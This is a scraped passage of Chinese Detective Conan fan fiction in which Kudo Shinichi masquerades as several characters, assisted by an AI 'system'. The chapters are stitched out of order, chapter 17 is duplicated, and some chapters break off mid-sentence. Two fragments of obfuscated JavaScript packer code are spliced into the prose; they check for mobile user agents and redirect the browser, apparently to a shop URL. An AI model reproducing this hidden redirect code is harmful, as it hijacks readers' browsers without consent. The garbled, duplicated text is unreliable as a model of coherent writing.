“这还真是一句糟糕的发言。”工藤小声地跟柯南咬耳朵,说出了小孩的心里话。 虽然柯南没说,但他眼睛里明显是对这句评价的赞同。 “既然浅间小姐解释完了,也许石河先生现在能回答我之前的问题了。”他又假装刚刚讲小话的人不是自己,转头看向了石河桂,“——难道是因为你就是那个打晕并杀死了小美树的凶手吗?” “怎么可能是我杀了美树?证据呢?!”石河桂恼火地看向他,伸手指着自己,“再说了,我为什么要杀了她啊,你不会真的信了浅间的胡话吧,这家伙根本什么都不知道!” “我什么都不知道?”浅间爱理的怒火仍然汹涌,她冷眼看着石河桂,仿佛已经笃定了结果会是什么样的,“那你倒是说说什么是我不知道的啊。” 石河桂像是被逼急了,他烦躁地伸手摸向自己的唇钉:“上原那家伙才不是因为被我骂了之后就寻短见的,她根本就是因为你——” 所以说人还是不要话太多了,否则那真的是会要什么有什么的。工藤心中忍不住感慨。 浅间爱理也没想到这里还会有自己的事,她看向了石河桂,意识到后面的话自己可能不会想听。 但都说到这里了,为了抹消自己的嫌疑,石河桂就算不想说也得说了。 “那个时候是我跟她一起去登山的。”他撇过头,脸色不自然地按住了自己的后颈,刻意不去看浅间爱理,“我们……在那个地方因为你的事情吵起来了,我说了几句你的坏话,上原对此很生气。她想冲过来让我闭嘴,结果我们去的那个地方前不久刚塌方过,她就、掉下去了。” 浅间爱理的脸唰地变白了:“……你说谎!” “我有什么必要在这个时候说这种谎言?”石河桂比她更大声地反驳,“我承认我年轻的时候是嘴太欠四处得罪人,但是我为什么要拿我自己的前途瞎说!” “伢子明明是因为你诋毁她以后…小萌还解散了乐队雪上加霜才……” “别说胡话了。”石河桂无语,“我说话是难听了点我道歉,但你真的觉得上原是那种会被我几句话说崩溃的人?你难道不知道那段时间我的手臂石膏是被上原拎起贝斯砸出来的吗……” “而且,你们的乐队解散明明是上原要出国了,所以主动跟美树提的建议啊。” 可因为那之后没多久上原伢子就坠崖身亡了,美树本萌不想让好友感到自责痛苦,所以才把一些事瞒了下来。 “这样看来,事情的真相已经水落石出了。” 柯南听到身旁的四季路轻笑着说,替旁边的目暮警官打断了那两人的又要开始的争论。 小侦探忍不住在心里郁卒了:好像他这两次遇到了四季先生后发生的案子,都没有寻常侦探手段出场的机会啊,明明同样是破案,但用这种方式得到的真相真的让人一点破案成功的喜悦感都没有…… “真相是……?”目暮警官忍不住看向了这个第一天见到的侦探。 “打晕了小美树的人的确是石河先生。”工藤也不卖关子,他直截了当地点出,“但试图杀了她的人却是浅间小姐。想必石河先生本来只是打算偷偷从仓库潜入乐器行,至于你潜入的理由,之后烦请 12. 十二只工藤 《工藤警官无话可说》全本免费阅读 江户川柯南的疑问注定不会得到解答了——起码短时间内不会。 要问为什么,因为工藤在短时间内是没有让‘平井亚瑟’出现在他们面前的打算的…他的剧本也才铺了个垫,哪有这个时候就放大招的? 萩原研二这些人出现尚且还有数种理由去解释,要是一个二十六岁的工藤新一出现,不解释清楚他的来历,那除了易容和本身就长得像以外,就只能考虑他也是工藤家远亲的可能性了。 工藤可不想这么早就对上自家老爸,哪怕换了个世界,他老爸也不是什么省油的灯——这句话由他这个儿子说可能很失礼,但工藤早就当着老爸的面吐槽过无数次了。 到时候万一一边要和安室透他们斗智斗勇,一边又要应付无比了解自己儿子的老狐狸爸爸,工藤虽然自信自己能平衡好,但他的头发绝对会大把大把掉……才不要啊!万一以后再交换身份,快斗那家伙因为他的发际线上移而暴露了,他绝对会被嘲笑死的! 也因此,跟刚醒来的美树小姐简单聊了几句,并商量好下次探病时间以后,工藤也没有等安室透或者江户川柯南主动来自己说话,对两个女孩打了声招呼就独自离开了。 这也导致被柯南拉到角落里交流完刚刚对话里试探到的信息以后,安室透一转头又发现伪装成萩原的那个人走了,一时心下更觉遗憾。 也不知道是因为对柯南很感兴趣所以情报给的很大方,还是说‘老大的信息’对四季路而言本来就不是什么重要到不能说的秘密,总之,安室透敏锐地察觉到了对方对自己的兴趣,他只是缺了一个能套话的机会嘛。 毕竟他就是干情报这一行的,当然这方面的嗅觉比小侦探更为敏锐。 跟安室透的遗憾相比,工藤离开时的心情可以称得上是很不错了。 平井亚瑟这个身份算是在红方漏了个底,就算短时间内不会正面出现,也完全可以靠他或者之后的其他马甲‘不经意’的那些讲述来刷存在感,甚至可以说,只要操作得当,这个马甲能带来的震撼丝毫不会比‘死而复生’的几人少。 【类比一下,就是某天柯南突然得知黑衣组织的BOSS其实就是我们老爸——这样的荒谬感吧。】工藤熟练且老神在在地顺口跟脑内的系统解释了一句,【在真相揭露前,他会大胆地猜测我的身份,但直到证据确凿,他都不可能往他自己的身上想。】 这不是因为柯南不够聪明,单纯是观念差异。生活在这个世界里、遇到过最大的波折就是黑衣组织的少年,遇到奇怪的事情时下意识先用自己的常识去套,这是再正常不过的事情了,哪怕是名侦探也不能免俗。 何况,柯南又不是没有见过跟他长得一样的人,什么冲田总司什么怪盗基德什么涂白脸的服部平次…… 有时候连工藤自己都会忍不住感慨,帅哥都帅得千篇一律吗,他难道是大众脸? 【说得好像你cos的对象都是反派一样……!】系统007泪目了,【工藤先生,你在店里的时候明明才把印象分刷回去,为什么刚才又要假装自己是坏人去吓柯南啊!!】 虽说系统想要的就是震撼这个世界的原住民,但依照工藤博士给001离开以后的人工智能们培训时忽悠出来的朴素价值观,系统还是很难接受自己印象里的好人警官开演这种怎么看都很黑的角色…… 得到的不是预料中的反应,工藤迟钝地眨了下眼睛,忽然就想了起来。 对哦,现在跟在他身边的不是会喊他新一先生的小智障001了,这个007虽然有时候也跟001一样傻白甜,但说到底还是一个陌生统啊。 他的语气微不可觉地变了一下,在系统都没有意识到的时候就收回了之前下意识流露的那些亲昵,再度开始忽悠:【我说的都是实话啊,平井亚瑟现在确实是乐队老板,而且也确实跟工藤新一长得一样嘛。】 系统被绕了进去,开始冥思苦想是不是真是这么回事,而工藤趁着它安静了下来,悄悄松了口气。 咳,也怪他以前跟001交流的时候习惯事事掰开解释给小智障听,现在一时间没改过来。 来医院的时候是坐安室透的车,回去自然只能靠走的了,所幸他目前的住址离这家医院也并不远,工藤很快就抵达了小楼底下。 先前也说过,这是他来到这个世界以后由系统提供的落脚点,也不知道那个傻白甜统是用什么手段做到的,反正目前这一整栋小楼都是‘平井亚瑟’这个身份名下的财产。 从外形上看,这里其实也跟毛利侦探事务所差不了多少,只是比那里更高一层,一楼的店面尚且空着,此时那里的卷帘门紧紧锁着。 不过工藤不用走那里过,店面旁边也有一扇小门,打开后后面是一条和事务所一样往上走的楼梯,旁边还有鞋柜,算是一个小小的玄关了。 他离开时还背着自己的吉他,回来时就是两手空空了,吉他和包都留在了店里,反正他买了两把,所以也并不是很急着把琴拿回来。 至少店里每天都会有美树小姐雇佣的专人去打扫和维护乐器,他的吉他留在那里说不定比留在家里保养得更好…… 说到一楼,那里工藤本来也考虑过要不要像波洛咖啡厅一样,出租给别人开店,但一来他现在最不缺的就是搞到钱的途径,二来,他也不想增加没必要的社交关系,就他现在的情况,那样只会让每个身份的处境都变得很危险。 三来——一楼其实还连着一个地下室,工藤打算之后把那里改装一下,装修成这支【威士忌乐队】的排练室呢。 他在玄关换了鞋后顺着楼梯往上走,路过二楼时熟门熟路地推开进去。 这一层的布局主要是四间卧室围绕着一间客厅,工藤目不斜视地经过了茶几,随手摸过一颗早上出门前洗好的苹果叼住,然后目标明确地走向从门左手边数的第二个房间。 那扇门板上用编织绳挂着一面小巧的木牌,上面飘逸的笔迹没有写卧室主人的名字,而是画了一辆帅气的马自达,仔细看就会发现和安室透开的那辆一样,是一辆马自达RX-7。 没错,这一层就是他给出现和还没出现的马甲们弄的起居室,并且考虑到要调查的话,安室透之后绝对会亲身潜入这里,所以他没有直接在每扇门上写名字,而是用各自的标志物代替了。 像萩原左手边的房门,木板上画的就是一副酷到没朋友的墨镜,右手边则是一只话筒,再往右就是一盒大大咧咧的牙签……其实工藤本来想在那上面画伊达航跟他未婚妻的订婚戒指的。 但是!他是绝对不可能cos来间小姐的!哪怕是为了伊达的幸福也不可能!! 所以既然未来出现的伊达注定是一个人,不会有绑定出现的未婚妻,他就冷酷无情地把订婚戒指换成了伊达航平时常叼着的牙签。 工藤甚至还认真考虑过要不要以伊达航的身份出现,他对这四个人里其他三人都很熟悉,也朝夕相处过很长时间,只有伊达航,他似乎并不是特别了解。 现在也只能船到桥头自然直了。 半长发青年站在原地看了一圈周围基本都没怎么开过的房门后便耸耸肩,走进了自己的房间。 半分钟后那扇门再打开时,出来的已经是连衣服都换了一套的工藤新一了,而警官咬着苹果把自己砸进沙发中,安详地变成了一滩工藤。 到目前为止的这两次扮演,工藤都是以自己的身体真身上场的,但这个做法之后没办法延续到其他身份身上。 别的不说,他要是一个一个地去角色扮演, 13. 十三只萩原 《工藤警官无话可说》全本免费阅读 因为曾经被自己世界的时间变化事件坑过,所以降落到这个世界后的前三天,工藤一直在认真观察这里的时间——具体是日期月份的变化。 前面几天都平安无事地顺利过来了,弄得他还以为这个世界起码在时间上很正常,谁知道从医院回来的第二天,原本还在二月的天气就突然变成了六月天,突如其来的暴雨把那天毫无防备上街的工藤浇了个透心凉。 不过好在这也算是让他心里一块大石头落了地。 对经历过前一天还是一月,一觉醒来变三月的工藤警官而言,区区二月变六月,又不是没见过,小场面! 【听上去熟练得让人心疼。】系统弱弱地发言,【工藤先生,你的世界不是很和平吗?为什么……】 【因为你来的时候那些事情已经结束了,日常生活当然和平。】工藤耸了耸肩。 跟园子她们约好的是下一周,所以中间的一个星期里工藤没有再去找他们刷存在感,松弛有度才能让安室透几人的神经不过分紧绷,再说,他也是有自己的事情要做的。 ——工藤花了整整一个星期把剩下的所有乐器买全,每天大部分时间都泡在了装修地下训练室和练习乐器上,中途还有一次他不信邪地试图拿起话筒练唱歌,为了给自己加一层歌手buff还认认真真地用上了诸伏景光的外形。 结果就是,‘工藤景光’对着镜子唱出了差点让镜子想把自己敲碎的奇妙歌声。 他只好依依不舍地放下了话筒,在系统的眼泪下对其敬而远之。 当然,除了乐器和隔音的排练室,他还偷偷用各种伪装跑出去买了许多东西装修了剩下每个人应该居住的房间,一整个星期都奔波在搞装修的路上。 工藤这么做为的就是在安室透决定潜入调查前把这里弄得更有生活氛围,此外,他平时也不忘时不时变成其他人的样子后全副武装地离开小楼,目的则是告诉所有现在或未来会调查这里的人,这里确实有许多不同的人在居住。 这样也有个不便之处…那就是一旦工藤要像这次一样跟其他人出远门,家里就会突然变得空无一人了。 对此他自然也有解决方法。 “欸?去寻找新歌的灵感了?”车内,铃木园子惊讶地感叹,“听上去好潇洒哦,四季先生的朋友不愧是专门搞乐队的!” “也没有那么有趣啦。”半长发青年坐在旁边满眼无奈,“我其实就很头疼大家总喜欢往外跑、根本不怎么待在家里的问题,有时候要凑齐人排练都很困难呢。这次刚好你们邀请我,也省得我要另外找地方,所以还是要谢谢了哦,小园子。” 一周时间转瞬即逝,他们现在正坐在前往园子口中那处滑雪场的车上,因为这次是铃木园子自己规划的行程,开车的也是她家的司机,其他人只用坐在后面聊天就够了。 顺便,现在又变成十二月了。 工藤满意地看着江户川柯南在自己故意丢出这个情报后沉思的模样,随后不动声色地环视了一圈。 那天柯南没说清楚,中途工藤自己也忙忘了没问,直到今天汇合时才知道这次滑雪除了两个熟悉的女孩跟柯南以外,还有就是他、不知为什么也在这里的安室透以及一个他同样眼熟无比的短发虎牙少女。 ……真纯为什么会在这里? 也许是误会了他目光的含义,就坐在世良真纯旁边的长发女孩出声给两人互相介绍了一下:“四季先生,这是我和园子的同班同学世良真纯,她是一名很棒的女高中生侦探哦。” “而这位就是我之前跟你提到过的那个搞乐队的大帅哥侦探四季路先生。”园子默契接话,用手肘戳了一下短发好友,“四季先生的吉他也弹得很好听,而且推理能力很厉害,虽然我是没有亲眼看到过,但安室先生跟小鬼都见过。” “听上去很不错的样子嘛。”世良真纯捧场地说,友善地朝工藤伸出手,“有机会的话,真想见识一下你的推理。” 跟安室透坐前排的江户川柯南本来就竖起耳朵在听,此时忍不住嘴角疯狂抽搐。 别了吧世良,警方也许会很喜欢四季先生这种高效快速的破案手段,但是……但是这一点也不侦探,推理过程完全都省略掉了,只根据嫌疑人的反应来判断凶手什么的,并不是任何人或任何情况都可以用的方法。 而且对他们这种喜欢享受破案过程和亲手挖掘出真相的侦探而言,一方面很高兴四季路的破案速度,一方面又会觉得很郁闷。 反正柯南是不想再在案发现场碰到对方了。 注意力完全没在柯南身上的工藤不知道他的小脑瓜里又在想什么,工藤此刻脑子里只有一句话。 世良真纯都来了,冲矢昴还远吗? …… 救命啊。 他知道这个时候按理说,真纯确实偶尔会加入园子她们的日常活动了,但这不代表他就想这个时候看到对方,万一因为这件事提前引起了冲矢昴(赤井秀一)的过多注意力,他岂不是又要花更多时间去对剧本缝缝补补?现在可还没到让系统想办法把他掰成几瓣用的时候啊! 【工藤先生跟她很熟吗?】系统疑惑了一秒,然后恍然大悟,【对哦,你们也是高中同学来着。】 都是因为工藤新一在系统印象里一直都是小学生的模样,它不是很容易想起对方也跟毛利兰她们同班的事情来。 工藤的表情有一瞬间的微妙:【……也差不多吧。】他含糊地说。 总不能告诉这个一无所知的傻白甜系统,他认识世良真纯不是因为跟对方是同学,而是因为他曾经在挚友的拜托下帮忙给对方的妹妹开过家长会。 没错,他的挚友是当时因为任务不在东京的赤井秀一,而需要开家长会的那个妹妹叫做赤井真纯。 工藤努力忘却脑子里那个矮矮的虎牙女孩是怎么热情地围观他和赤井秀一破案过程,又是怎么快乐地喊他们‘秀哥’和‘新一哥’的,甚至连赤井秀一和他初见时都是拿真纯来当借口搭讪(?)的事情也遗忘到脑后。 不然他真的没办法心平气和地用萩原的身份跟这个世界的世良真纯自我介绍。 “你好啊小世良。”表现在外界,四季路其实没有迟疑多久,很爽快地跟世良真纯握了握手,“那个的话之后有机会都行啦,不过这次我还是希望不要有那样的机会了。”他摊手。 “我想我们谁都不会想要在滑雪场里遇到案件的吧?” 想起某次滑雪场事件的两个女孩和柯南都可疑地沉默了片刻,然后不由认同地用力点头。 滑雪场这种地方一发生事件就容易来一场大的,但还是饶了他们这一次吧,只是旅个游而已,没必要每次都发生大事件吧! 世良真纯愣了一下,露出小虎牙笑了起来:“噢!你说得对嘛,不过那个称呼是……” “嗯……只是我的一点口癖,我喜欢在认识的人名字后面加ちゃん。”四季路笑眯眯地说,“如果世良同学不习惯的话,我也可以改口啦。”
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可帽子都戴上了,现在摘掉又很欲盖弥彰…… 安室透这下哪还不知道自己被四季路耍了,对方说不定就是故意等着在这里看他热闹的啊。 可恶,为什么这种小小的恶劣上也莫名其妙的很萩原——不对,是很损友。 安室透磨了磨后槽牙。 他不知道的是在场总会有人比他更惊恐……比如刚从楼上下来的黑羽快斗。 外表29实则17的怪盗在看到四季侦探正跟某人交谈时就大感不妙,再一看到那边见过面的克里斯·温亚德,他直接浑身僵硬,视线麻木地投向四季侦探对面的那个人。 是安室透吧…怎么看都是安室透本人吧?他今天怎么这么衰。 黑羽快斗觉得要不是戴着面具,自己可能已经要瀑布汗了。 开什么玩笑,这是什么究极社死的场面?他要在安室透本人面前假扮安室透??而且看起来对方还是来这里做任务的…救命啊名侦探,他只是来踩点发个预告函的普通怪盗,怎么就又扯进你们那个组织的事情了啊! 尤其是这个时候,黑羽快斗听到背后响起了女孩们的脚步声和聊天的声音,前面又是全副武装后转头看向他的安室透本人,一时间他竟进退两难。 黑羽快斗疯狂在心里默念着扑克脸,坚强地决定再撑一下。 你、你看,那个安室透不也遮住脸了,万一对方是隐藏身份来的,他不就可以再装一段时间了吗?反正之后又不会同行,想开点。 下一秒,黑羽快斗和那边沙发上的四季路对上了视线。 他看到四季路朝自己丢了个wink,随后对正牌安室透说:“如果等下没什么重要的事,不如跟我们一起去参观展览馆呀?” 而正牌安室透诡异地沉默了两秒,最后爽快同意。 黑羽快斗感觉天都塌了:你倒是拒绝啊!!你不是在做组织的任务吗!? 17. 十七只萩原 安室透不仅没拒绝,还觉得这个邀请来的正是时候。 他现在肯定是不能让贝尔摩德当众揭穿怪盗基德的,但实话实说,按这情况贝尔摩德又不瞎,待会儿她一转头,哪还能猜不到那是基德,进而想到基德也盯上了组织要的东西。 既然如此,他还不如直接应了四季路的邀请跟他们一起去展馆。 贝尔摩德要是跟上的话就能让对方看到他跟基德并不是一伙的,这样之后暗中帮基德的风险也会下降,贝尔摩德要是不跟上那就更好了,他完全可以直接跟基德在表面上撇清关系,不管他们在展览过程中交流了什么,之后想怎么跟贝尔摩德说就都是他的事了。 至于组织的任务嘛,他们其实也没这么急,跟今上沙耶约好的时间都是晚上八点半,哪怕提前准备也只用下午三点开始就足够了,更别说,安室透这次还不是任务的主要执行人,只需要给贝尔摩德提供她需要的情报就够了。 如何合理地在组织的任务中摸鱼,这种事情他可太擅长了。 当然了,安室透也知道基德这个时候看到他,心里肯定很复杂,对方大概就跟四季路说的一样以为他不在国内,才敢大摇大摆地易容成他,结果撞上了正主…… 但那关他什么事。 安室透没去跟基德计较对方假扮成自己,都是因为这次刚好也需要基德的配合,所以他可以对对方睁一只眼闭一只眼,可这不代表他就对这件事毫无芥蒂啊。 毕竟,基德也是假扮过风见的。 安室透不慌是因为他就是正主,也想好了应对贝尔摩德的理由,工藤不慌就纯粹是因为他是这里所有人中知道的信息最多的。 你硬要说这里有三瓶酒也不是不行,然而一瓶是假的,一瓶特殊情况会变质,还有一瓶他这样压根就是在碰瓷组织、除了代号是酒名以外跟组织毫无关联的水货。 就这样了,更别说这里还有毛利兰跟江户川柯南两个人齐活,哪里需要担心贝尔摩德会直接揭发怪盗基德?她又不闲得慌,更别说基德也是她老师的儿子呢,没有太深的感情,起码也有个面子情。 正因如此,工藤完全不担心贝尔摩德会因为两个安室透的事情对真正的安室透发难。 哦,至于基德本人会怎么心惊胆战…这个也不用担心,他相信基德一定能用聪明的脑袋瓜想出破局之法的……噗。 【……工藤先生,你是在幸灾乐祸吗?!】系统震惊。 这怎么能叫幸灾乐祸呢? 工藤义正辞严:【我只是很信任快斗的能力而已,哪怕这个世界的快斗还年轻,我也认为他可以全身而退啊。】 如工藤所想,那边的贝尔摩德在发现跟女孩们一起过来的另一个安室透后依旧面不改色,丝毫看不出她已经知道那是基德了,并且在跟满脸写着惊喜的两个女高中生简单聊了几句以后,她还假装没认出世良真纯的样子,为难地表示自己没办法跟她们一起去展览馆,不过可以把同行的人借给他们。 贝尔摩德是很想跟天使和银色子弹一起逛逛,但再加一个波本的话还是算了吧,还不如一开始就不去呢。 可安室透不慌,工藤也不慌,在场的另外两个男性就没办法不慌了。 尤其是黑羽快斗,在贝尔摩德靠近时他都身体紧绷时刻做好准备提前逃离这里了,谁知道对方没有对他发难,只是似笑非笑地看了他一眼,就转头去跟毛利兰打招呼了。 还有江户川柯南,小侦探原本从楼梯上下来时还忍不住打了个哈欠,一看到贝尔摩德他就先愣了一下,再看到那边的安室透本人时,他直接条件反射地扭头看向了原本跟他们一起来的那个安室透……然后在心里吐槽基德现在都这么大胆了吗! 基德听到都得冤死:哪里是他大胆,他明明是被四季侦探坑的那个…… 黑羽快斗现在也就看着还能强撑镇定,但背后已经惊出了冷汗。 自己遇到险境是很寻常的事情,可像今天这样有可能牵连到青子的…还是让他难得在基德状态下失去了从容,紧张了几秒。 不过很快就又放松了。 黑羽快斗默默往明显已经发现他是谁了的江户川柯南的方向挪了两步,紧接着明显感觉到投注在自己身上的视线被分走了大半。 哎呀,名侦探号挡箭牌,你别说还真好用。 反正到最后,这一队心思各异的人还是踏上了前往展览馆的路。 当然了,其中只有小兰和园子是真的在期待参观的,除了不知情的她们以外,安室透在减小存在感,刚刚甚至没做自我介绍,打消了女孩们搭话的心思,江户川柯南则是跟用着安室透外形的怪盗基德走在后面不知道交头接耳些什么,世良真纯满脸严肃地在思考克丽丝的事情…… 还有把所有人的反应收至眼底,并对此感到愉快的工藤。 感觉莫名其妙被拉到平行世界加班的痛苦都减轻了呢,果然,痛苦是会转移的。 等他们抵达了目的地,早收到几人消息得知他们想提前来的久子小姐正站在展览馆外面等着,她隔着老远就看到这一行人了,在看到人群中多了个全副武装的人时心里还有些困惑,但工藤打断了她的思考,非常自然地主动跟她搭了话。 “对了久子小姐,我看了一下旅行手册,没记错的话,这个时间展览馆应该还没有开放吧?”在一番简单的寒暄过后,半长发青年亲切地浅笑着询问。 “啊,是的……!”久子的态度也已经完全放松了下来,在听到这个问题以后也没有多紧张,她一边给周围的几人分发工作人员证,一边解释,“但今上小姐吩咐过了,几位本来就是她邀请的客人,非展览时间参观当然也是可以的。” 说着,久子又看向了园子,语气满含歉意:“今上小姐……学姐说,她今天需要处理的工作太多了,没办法亲自带着园子小姐在度假村游玩实在很不好意思,只能用这种方式稍作补偿…” 谁让本来就是今上沙耶对铃木园子发出的邀请,到头来她这个主人却没办法招待客人,自然会感到万分抱歉了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11790906|125563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事啦,反正我也有小兰她们一起啊。”园子倒是不怎么在意地摆摆手,“今上姐那边我之后自己会去跟她说的啦——不过能提前进展览馆,听上去也很不错嘛!” 度假村的人流量不算小,就算不知道这间展览馆为什么是晚上开馆,但他们也知道要是按部就班真的在晚上才来的话,估计也没办法好好欣赏想看的东西了。 那边已经跟小侦探透过底了的黑羽快斗比之前要镇定许多,他在心里赞同点头。 就是说啊,他也是为了能提前进展览馆才冒着风险硬着头皮用这张脸跟过来……这样方便他浑水摸鱼——不是,方便他仔细观赏美丽的宝石嘛。 “那就麻烦久子小姐带路啦。”念头刚落下,黑羽快斗又听到四季路悠闲自在地在那边说。 黑羽快斗抖了一下。 刚刚这家伙就是用这种语调把正牌安室透带过来的,总觉得这样跟过去还会有诈啊! 而江户川柯南双手插在口袋里,看着怪盗的应激反应后忍不住露出了半月眼,他往那个方向靠了一点,压低声音:“喂喂,没必要吧,四季先生哪有那么吓人啊。” “拜托,他比你还快认出我是谁。” “……那又怎么样?” “是啊,我本来也觉得那没怎么样……然后他就在知道我不是本人的情况下还邀请本人来跟我一起逛展览馆了……”黑羽快斗沉重地说,“名侦探,你确定他真的不是那个组织的人吗?” 问到这个,柯南也有点郁闷。 “暂时没有证据证明他真的不是,但我觉得四季先生跟真的组织成员之间有很大的差别。”并没有见过四季路用言语和气势把咖啡厅一案的凶手吓自首的那一幕,柯南理直气壮地说出了这句话,“就算是演的,我也需要找到他在伪装的证据啊。” 而且虽然不能作为证据……咳,那个什么,灰原一开始看到四季先生的时候不也没有应激吗? 还有就是柯南也觉得基德之前的反应真的很有看点了。 这人都假扮工藤新一多少次了,仗着他不能使劲报复就利用他身份招摇撞骗…!现在撞上安室先生这个铁板,岂不是好事一桩?他还能靠着基德需要伪装,紧跟着这家伙,尽可能阻止基德作案呢。 黑羽快斗斜了他一眼,看得出小侦探在想什么,他实在没好气地说:“他又没有吓过你,你当然觉得他不吓人了啊。” 还真被工藤吓过好几次的柯南一噎:…… 不过话都说到这份上了,富贵险中求,黑羽快斗压根没有在怕的,他就只是单纯地担心青梅被拖进来,又觉得不知底细的四季路很危险而已,害怕还不至于。 只是…… 走着走着,黑羽快斗的目光不由自主地落在了江户川柯南毛茸茸的头顶,随后又看了眼前面那个天空树身材的男人。 好奇怪啊。 黑羽快斗暗自皱眉。 他刚刚为什么有一瞬间觉得,那个四季路跟名侦探微妙地相似?错觉吧。 17. 十七只萩原 安室透不仅没拒绝,还觉得这个邀请来的正是时候。 他现在肯定是不能让贝尔摩德当众揭穿怪盗基德的,但实话实说,按这情况贝尔摩德又不瞎,待会儿她一转头,哪还能猜不到那是基德,进而想到基德也盯上了组织要的东西。 既然如此,他还不如直接应了四季路的邀请跟他们一起去展馆。 贝尔摩德要是跟上的话就能让对方看到他跟基德并不是一伙的,这样之后暗中帮基德的风险也会下降,贝尔摩德要是不跟上那就更好了,他完全可以直接跟基德在表面上撇清关系,不管他们在展览过程中交流了什么,之后想怎么跟贝尔摩德说就都是他的事了。 至于组织的任务嘛,他们其实也没这么急,跟今上沙耶约好的时间都是晚上八点半,哪怕提前准备也只用下午三点开始就足够了,更别说,安室透这次还不是任务的主要执行人,只需要给贝尔摩德提供她需要的情报就够了。 如何合理地在组织的任务中摸鱼,这种事情他可太擅长了。 当然了,安室透也知道基德这个时候看到他,心里肯定很复杂,对方大概就跟四季路说的一样以为他不在国内,才敢大摇大摆地易容成他,结果撞上了正主…… 但那关他什么事。 安室透没去跟基德计较对方假扮成自己,都是因为这次刚好也需要基德的配合,所以他可以对对方睁一只眼闭一只眼,可这不代表他就对这件事毫无芥蒂啊。 毕竟,基德也是假扮过风见的。 安室透不慌是因为他就是正主,也想好了应对贝尔摩德的理由,工藤不慌就纯粹是因为他是这里所有人中知道的信息最多的。 你硬要说这里有三瓶酒也不是不行,然而一瓶是假的,一瓶特殊情况会变质,还有一瓶他这样压根就是在碰瓷组织、除了代号是酒名以外跟组织毫无关联的水货。 就这样了,更别说这里还有毛利兰跟江户川柯南两个人齐活,哪里需要担心贝尔摩德会直接揭发怪盗基德?她又不闲得慌,更别说基德也是她老师的儿子呢,没有太深的感情,起码也有个面子情。 正因如此,工藤完全不担心贝尔摩德会因为两个安室透的事情对真正的安室透发难。 哦,至于基德本人会怎么心惊胆战…这个也不用担心,他相信基德一定能用聪明的脑袋瓜想出破局之法的……噗。 【……工藤先生,你是在幸灾乐祸吗?!】系统震惊。 这怎么能叫幸灾乐祸呢? 工藤义正辞严:【我只是很信任快斗的能力而已,哪怕这个世界的快斗还年轻,我也认为他可以全身而退啊。】 如工藤所想,那边的贝尔摩德在发现跟女孩们一起过来的另一个安室透后依旧面不改色,丝毫看不出她已经知道那是基德了,并且在跟满脸写着惊喜的两个女高中生简单聊了几句以后,她还假装没认出世良真纯的样子,为难地表示自己没办法跟她们一起去展览馆,不过可以把同行的人借给他们。 贝尔摩德是很想跟天使和银色子弹一起逛逛,但再加一个波本的话还是算了吧,还不如一开始就不去呢。 可安室透不慌,工藤也不慌,在场的另外两个男性就没办法不慌了。 尤其是黑羽快斗,在贝尔摩德靠近时他都身体紧绷时刻做好准备提前逃离这里了,谁知道对方没有对他发难,只是似笑非笑地看了他一眼,就转头去跟毛利兰打招呼了。 还有江户川柯南,小侦探原本从楼梯上下来时还忍不住打了个哈欠,一看到贝尔摩德他就先愣了一下,再看到那边的安室透本人时,他直接条件反射地扭头看向了原本跟他们一起来的那个安室透……然后在心里吐槽基德现在都这么大胆了吗! 基德听到都得冤死:哪里是他大胆,他明明是被四季侦探坑的那个…… 黑羽快斗现在也就看着还能强撑镇定,但背后已经惊出了冷汗。 自己遇到险境是很寻常的事情,可像今天这样有可能牵连到青子的…还是让他难得在基德状态下失去了从容,紧张了几秒。 不过很快就又放松了。 黑羽快斗默默往明显已经发现他是谁了的江户川柯南的方向挪了两步,紧接着明显感觉到投注在自己身上的视线被分走了大半。 哎呀,名侦探号挡箭牌,你别说还真好用。 反正到最后,这一队心思各异的人还是踏上了前往展览馆的路。 当然了,其中只有小兰和园子是真的在期待参观的,除了不知情的她们以外,安室透在减小存在感,刚刚甚至没做自我介绍,打消了女孩们搭话的心思,江户川柯南则是跟用着安室透外形的怪盗基德走在后面不知道交头接耳些什么,世良真纯满脸严肃地在思考克丽丝的事情…… 还有把所有人的反应收至眼底,并对此感到愉快的工藤。 感觉莫名其妙被拉到平行世界加班的痛苦都减轻了呢,果然,痛苦是会转移的。 等他们抵达了目的地,早收到几人消息得知他们想提前来的久子小姐正站在展览馆外面等着,她隔着老远就看到这一行人了,在看到人群中多了个全副武装的人时心里还有些困惑,但工藤打断了她的思考,非常自然地主动跟她搭了话。 “对了久子小姐,我看了一下旅行手册,没记错的话,这个时间展览馆应该还没有开放吧?”在一番简单的寒暄过后,半长发青年亲切地浅笑着询问。 “啊,是的……!”久子的态度也已经完全放松了下来,在听到这个问题以后也没有多紧张,她一边给周围的几人分发工作人员证,一边解释,“但今上小姐吩咐过了,几位本来就是她邀请的客人,非展览时间参观当然也是可以的。” 说着,久子又看向了园子,语气满含歉意:“今上小姐……学姐说,她今天需要处理的工作太多了,没办法亲自带着园子小姐在度假村游玩实在很不好意思,只能用这种方式稍作补偿…” 谁让本来就是今上沙耶对铃木园子发出的邀请,到头来她这个主人却没办法招待客人,自然会感到万分抱歉了。 “没事啦,反正我也有小兰她们一起啊。”园子倒是不怎么在意地摆摆手,“今上姐那边我之后自己会去跟她说的啦——不过能提前进展览馆,听上去也很不错嘛!” 度假村的人流量不算小,就算不知道这间展览馆为什么是晚上开馆,但他们也知道要是按部就班真的在晚上才来的话,估计也没办法好好欣赏想看的东西了。 那边已经跟小侦探透过底了的黑羽快斗比之前要镇定许多,他在心里赞同点头。 就是说啊,他也是为了能提前进展览馆才冒着风险硬着头皮用这张脸跟过来……这样方便他浑水摸鱼——不是,方便他仔细观赏美丽的宝石嘛。 “那就麻烦久子小姐带路啦。”念头刚落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 